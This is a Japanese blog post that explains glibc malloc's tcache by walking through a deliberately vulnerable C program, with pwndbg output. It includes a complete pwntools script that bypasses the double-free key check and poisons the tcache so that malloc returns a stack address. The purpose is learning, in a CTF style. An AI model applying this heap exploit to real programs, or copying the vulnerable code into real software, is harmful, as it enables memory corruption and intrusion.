なかよく(いろいろな解釈)
今日の遊び相手は glibc malloc ちゃんです。 今回はちゃんとした解説を目指した記事ではないです。
なかよし
コードを読んだり、下記のコードから作った脆弱な実行ファイルを使ったりしながら挙動を見ていきます。
脆弱なコードちゃん
#include <stdio.h> #include <stdlib.h> enum { SIZE = 100, }; void ignore() { scanf("%*c"); } void scan_len(size_t* p) { printf("int? "); scanf("%zu", p); ignore(); } void scan_str(unsigned char* p, size_t d) { printf("string? "); for (size_t i = 0; i < d; ++i) { scanf("%c", &p[i]); } ignore(); } void print_str(unsigned char* p, size_t d) { printf("string: "); for (size_t i = 0; i < d; ++i) { printf("%c", p[i]); } printf("\n"); } void vuln(void) { size_t i = 0; size_t len[SIZE] = {}; unsigned char* str[SIZE] = {}; printf("str: %p\n", str); char op; while (printf("op? "), scanf(" %c%*c", &op) == 1) { switch (op) { case '+': if (i < SIZE) { scan_len(&len[i]); str[i] = malloc(len[i]); scan_str(str[i], len[i]); ++i; } break; case '-': { size_t d; scan_len(&d); free(str[d]); } break; case '~': { size_t d; scan_len(&d); scan_str(str[d], len[d]); } break; case '@': { size_t d; scan_len(&d); print_str(str[d], len[d]); } break; case '.': return; default: } } } int main(void) { setbuf(stdin, NULL); setbuf(stdout, NULL); vuln(); puts("done"); }
pwndbg/pwndbg を使ったりします。
とりあえず malloc
[*] malloc(0x38), b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa' (gdb) tcachebins tcachebins empty (gdb) p tcache->entries[2] $1 = (tcache_entry *) 0x0 (gdb) x/10gx (void*)tcache->entries[2]-0x10 0xfffffffffffffff0: Cannot access memory at address 0xfffffffffffffff0
malloc()
だけした時点では tcache entry は NULL
のままです。
とりあえず free
[*] free(0) (gdb) tcachebins tcachebins 0x40 [ 1]: 0x5555555592a0 ◂— 0 (gdb) p tcache->entries[2] $2 = (tcache_entry *) 0x5555555592a0 (gdb) x/10gx (void*)tcache->entries[2]-0x10 0x555555559290: 0x0000000000000000 0x0000000000000041 0x5555555592a0: 0x0000000555555559 0x30232822102e0fcf 0x5555555592b0: 0x6161616661616165 0x6161616861616167 0x5555555592c0: 0x6161616a61616169 0x6161616c6161616b 0x5555555592d0: 0x6161616e6161616d 0x0000000000020d31
free()
をすると(malloc()
のサイズがそういう感じなので)tcache に入ります。
typedef struct tcache_entry { struct tcache_entry *next; uintptr_t key; } tcache_entry;
#define PROTECT_PTR(pos, ptr) ((__typeof(ptr))((((size_t)pos) >> 12) ^ ((size_t)ptr))) #define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
tcache->entries[2]
が指している 0x5555555592a0
にあるポインタ next == 0x555555559
は、
((0x5555555592a0 >> 12) ^ 0x555555559) == 0
を意味します。また、key == 0x30232822102e0fcf
は(実行ごとに固定の)乱数で、free()
した chunk が tcache bins に入ったときに付与されます。
これは、free()
が二重で行われようとするのを検知するために使われています。
Use after free
ということで、この子を書き換えることで、もう一度 free()
できるようになります。
note: 書き換えなかった場合、バレて free(): double free detected in tcache 2
と言われて abort します。
脆弱性の観点で言えば、free()
した後は malloc()
で持ってきたアドレスには、ライブラリ内部で使っている値が書かれているので、それが漏れたり書き換えられたりするとよくないわけですね。
[!] .[0] = b'YUUU\x05\x00\x00\x00\xce\x0f.\x10"(#0oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaa' (gdb) tcachebins tcachebins 0x40 [ 1]: 0x5555555592a0 ◂— 0 (gdb) p tcache->entries[2] $3 = (tcache_entry *) 0x5555555592a0 (gdb) x/10gx (void*)tcache->entries[2]-0x10 0x555555559290: 0x0000000000000000 0x0000000000000041 0x5555555592a0: 0x0000000555555559 0x30232822102e0fce 0x5555555592b0: 0x616161706161616f 0x6161617261616171 0x5555555592c0: 0x6161617461616173 0x6161617661616175 0x5555555592d0: 0x6161617861616177 0x0000000000020d31
(cyclic の部分は適当にやっていますが)next
の部分は書き換えていないので、まだ tcache->entries[2]
にはバレていません。
Double free
さて、free()
しちゃいましょう。
[*] free(0) (gdb) tcachebins tcachebins 0x40 [ 2]: 0x5555555592a0 ◂— 0x5555555592a0 (gdb) p tcache->entries[2] $4 = (tcache_entry *) 0x5555555592a0 (gdb) x/10gx (void*)tcache->entries[2]-0x10 0x555555559290: 0x0000000000000000 0x0000000000000041 0x5555555592a0: 0x000055500000c7f9 0x30232822102e0fcf 0x5555555592b0: 0x616161706161616f 0x6161617261616171 0x5555555592c0: 0x6161617461616173 0x6161617661616175 0x5555555592d0: 0x6161617861616177 0x0000000000020d31
なんか怪しくなってきました。
static __always_inline void tcache_put(mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *)chunk2mem(chunk); e->key = tcache_key; e->next = PROTECT_PTR(&e->next, tcache->entries[tc_idx]); tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); }
下記のように値が入ります。
e->next = PROTECT_PTR(0x5555555592a0, 0x5555555592a0) = 0x55500000c7f9 tcache->entries[2] = 0x5555555592a0
PROTECT_PTR
はあくまでエンコード側の問題で、要するに e->next
が指すものが 0x5555555592a0
になったというのが大事ですね。
tcache poisoning
続いて、next
を書き換えちゃいましょう。0x7fffffffe530
を指していることにしてみます。
入れたい値は 0x7ffaaaaab069
で、バイト列としては b'i\xb0\xaa\xaa\xfa\x7f\x00\x00'
です。
[!] .[0] = b'i\xb0\xaa\xaa\xfa\x7f\x00\x00\xcf\x0f.\x10"(#0yaaazaabbaabcaabdaabeaabfaabgaabhaabiaab' (gdb) tcachebins tcachebins 0x40 [ 2]: 0x5555555592a0 —▸ 0x7fffffffe530 ◂— 0x7ffffffc6 /* '8' */ (gdb) p tcache->entries[2] $5 = (tcache_entry *) 0x5555555592a0 (gdb) x/10gx (void*)tcache->entries[2]-0x10 0x555555559290: 0x0000000000000000 0x0000000000000041 0x5555555592a0: 0x00007ffaaaaab069 0x30232822102e0fcf 0x5555555592b0: 0x6261617a61616179 0x6261616362616162 0x5555555592c0: 0x6261616562616164 0x6261616762616166 0x5555555592d0: 0x6261616962616168 0x0000000000020d31
0x7fffffffe530
のアドレスには 0x38
が入っていたので、これを REVEAL_PTR
に通せば 0x7ffffffc6
ということになります。
cf. pwndbg/chain.py
さて、malloc()
することで tcache bins から chunk を持ってきましょう。
[*] malloc(0x38), b'jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaab' (gdb) tcachebins tcachebins 0x40 [ 1]: 0x7fffffffe530 ◂— 0x7ffffffc6 /* '8' */ (gdb) p tcache->entries[2] $6 = (tcache_entry *) 0x7fffffffe530 (gdb) x/10gx (void*)tcache->entries[2]-0x10 0x7fffffffe520: 0x2b00000000000000 0x0000000000000000 0x7fffffffe530: 0x0000000000000038 0x0000000000000038 0x7fffffffe540: 0x0000000000000000 0x0000000000000000 0x7fffffffe550: 0x0000000000000000 0x0000000000000000 0x7fffffffe560: 0x0000000000000000 0x0000000000000000
関連するのは下記のあたりで、
static __always_inline void *tcache_get_n(size_t tc_idx, tcache_entry **ep) { tcache_entry *e; if (ep == &(tcache->entries[tc_idx])) e = *ep; else e = REVEAL_PTR(*ep); if (__glibc_unlikely(!aligned_OK(e))) malloc_printerr("malloc(): unaligned tcache chunk detected"); if (ep == &(tcache->entries[tc_idx])) *ep = REVEAL_PTR(e->next); else *ep = PROTECT_PTR(ep, REVEAL_PTR(e->next)); --(tcache->counts[tc_idx]); e->key = 0; return (void *)e; } static __always_inline void *tcache_get(size_t tc_idx) { return tcache_get_n(tc_idx, &tcache->entries[tc_idx]); }
実行されているのは下記のような感じです。
tcache_entry **ep = &tcache->entries[tc_idx]; tcache_entry *e = REVEAL_PTR(*ep); *ep = PROTECT_PTR(ep, REVEAL_PTR(e->next)); --(tcache->counts[tc_idx]); e->key = 0; return (void *)e;
*ep == tcache->entries[tc_idx]
に e->next
(をエンコードしたもの)を入れることができています。
もう一声。
[*] malloc(0x38), b'8\x00\x00\x00\x00\x00\x00\x008\x00\x00\x00\x00\x00\x00\x00\x90\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' (gdb) tcachebins tcachebins 0x40 [ 0]: 0x7ffffffc6 (gdb) p tcache->entries[2] $7 = (tcache_entry *) 0x7ffffffc6 (gdb) x/10gx (void*)tcache->entries[2]-0x10 0x7ffffffb6: Cannot access memory at address 0x7ffffffb6 (gdb) x/6a $rsp+0x30+800 0x7fffffffe850: 0x5555555592a0 0x5555555592a0 0x7fffffffe860: 0x7fffffffe530 0x0 0x7fffffffe870: 0x0 0x0
malloc()
したポインタたちを持っている配列を見るに、たしかに 0x7fffffffe530
が手に入っていることがわかります。
ふりかえり
さっきのは下記のような流れでやっています。
malloc(size) free(0) fd, key = map(u64, (lambda s: [s[:8], s[8:]])(leak(0)[:16])) tamper(0, flat(p64(fd), p64(key ^ 1), next_cyclic(size - 0x10))) free(0) tamper(0, flat(p64(fd ^ target_addr), p64(key), next_cyclic(size - 0x10))) malloc(size) malloc(size, flat(p64(0x38), p64(0x38), p64(800 + 800 + 0x50), b"\0" * (size - 0x18)))
下記のようにすると、free(0)
をした段階で e->next
がまともに戻されてしまうのでだめそうです。
-tamper(0, flat(p64(fd), p64(key ^ 1), next_cyclic(size - 0x10))) +tamper(0, flat(p64(fd ^ target_addr), p64(key ^ 1), next_cyclic(size - 0x10))) free(0)
また、(target_addr & 0xF) == 0x0
でない場合、malloc(): unaligned tcache chunk detected
と言われて abort します。
コード全体
import re import sys from pwn import * prompt = b"pwndbg> " cyclic_buf = iter(cyclic()) def next_cyclic(n): global cyclic_buf return bytes(next(cyclic_buf) for _ in range(n)) def malloc(size: int, data=None): p.clean() p.sendline(b"c") p.sendline(b"+") p.sendline(f"{size}".encode()) if data is None: data = next_cyclic(size) p.info(f"malloc({size:#x}), {data}") p.sendline(data) p.recvuntil(prompt) def free(index: int): p.clean() p.sendline(b"c") p.sendline(b"-") p.sendline(f"{index}".encode()) p.info(f"free({index})") p.recvuntil(prompt) def leak(index: int) -> bytes: p.sendline(b"c") p.sendline(b"@") p.clean() p.sendline(f"{index}".encode()) p.recvuntil(b"string: ") return p.recvuntil(b"\n\nBreakpoint 1,", drop=True) def tamper(index: int, data: bytes): p.clean() p.sendline(b"c") p.sendline(b"~") p.sendline(f"{index}".encode()) p.warn(f".[{index}] = {data}") p.sendline(data) p.recvuntil(prompt) def e(comm: bytes): p.clean() p.sendline(comm) print("(gdb)", comm.decode()) print(p.recvuntil(prompt, drop=True).decode()) def check(): e(b"tcachebins") e(b"p tcache->entries[2]") e(b"x/10gx (void*)tcache->entries[2]-0x10") breakaddr = 0x0000555555555419 p = process("gdb heap-bins", shell=True, stderr=sys.stderr) p.recvuntil(prompt) p.sendline(f"b *{breakaddr:#x}".encode()) p.sendline(b"r") p.recvuntil(b"str: ") str_addr = int(p.recvline()[:-1], 16) print(f"str_addr: {str_addr:#x}") target_addr = str_addr - 8 * 100 size = 0x38 malloc(size) check() free(0) check() fd, key = map(u64, (lambda s: [s[:8], s[8:]])(leak(0)[:16])) chunk = fd << 12 | 0x2A0 tamper(0, flat(p64(fd), p64(key ^ 1), next_cyclic(size - 0x10))) check() free(0) check() tamper(0, flat(p64(fd ^ target_addr), p64(key), next_cyclic(size - 0x10))) check() malloc(size) check() malloc(size, flat(p64(0x38), p64(0x38), p64(800 + 800 + 0x50), b"\0" * (size - 0x18))) check() e(b"x/6a $rsp+0x30+800")
おきもち
言語仕様というかライブラリ側の視点で言えば、「そういうポインタを使った場合の動作は未定義です」で、コードの書き手側への教えとしては「そういうコードは書かないように気をつけようね〜」という感じになるのがよくある話かなぁと思うのですが、攻撃側の視点で「実際に中でどうなっていて、どうすればめちゃくちゃにできるのかな〜」と考えるのは面白そうです(これは CTF 全般に言えることかも)。
規格では “A translation unit shall not ...” とは書かれていても “You shall not write ...” のような言い方はされていないわけで、学習用に(再現性がない前提とかはわかった上で)未定義動作のコードを書くのはもっとやっていいんじゃないかなと思っています。 これは、「学習用・自分用のおもちゃプログラムであれば未定義動作が書かれていてもいいでしょ」という意味ではないです。 「未定義動作を踏んでても大丈夫だよね」に慣らすのではなくて「未定義動作を踏んだときにこうなる可能性もありうるよね」という部分で遊ぶのもいいよねという話です。前者を勧める人は勘弁してほしいです。
tcache bins に関してはお手軽に exploit できそうだったので遊んでいましたが、それ以外の bin たちについてはまだよくわかっていないので、また遊ぼうと思います。 大枠の流れ(どういう bin があって、どういう操作をするとどの bin に入って、とか)や、遊び方(どこになんのアドレスが入っていて、どう辿ると内部状態を知れるのか、とか)はなんとなくわかったような気がしています。
競プロ文脈で「結局 malloc()
とか(あるいは std::vector
とか)ってどうなってんの?」という話は、界隈でもちょこちょこ出たり出なかったりしていた記憶はありますが、ここ最近はあまり見ないような気がします。
そもそも C でやっている人自体が少ししかいなさそうなのと、最近は特に若者の低レイヤー離れの流れがあるかもしれません?
競プロ er 向けに低レイヤーの malloc()
とかの解説記事めいたものを書く予定はないですが、気が変わる可能性もあります。
以前書いた「計算量や big-O の話」「浮動小数点数や誤差の話」のように、多くの人々が避けていたり雰囲気で扱っていたりしてまともな知見が共有されていないようなトピックを漁りたいという気持ちはあります。
おわり
おわりです。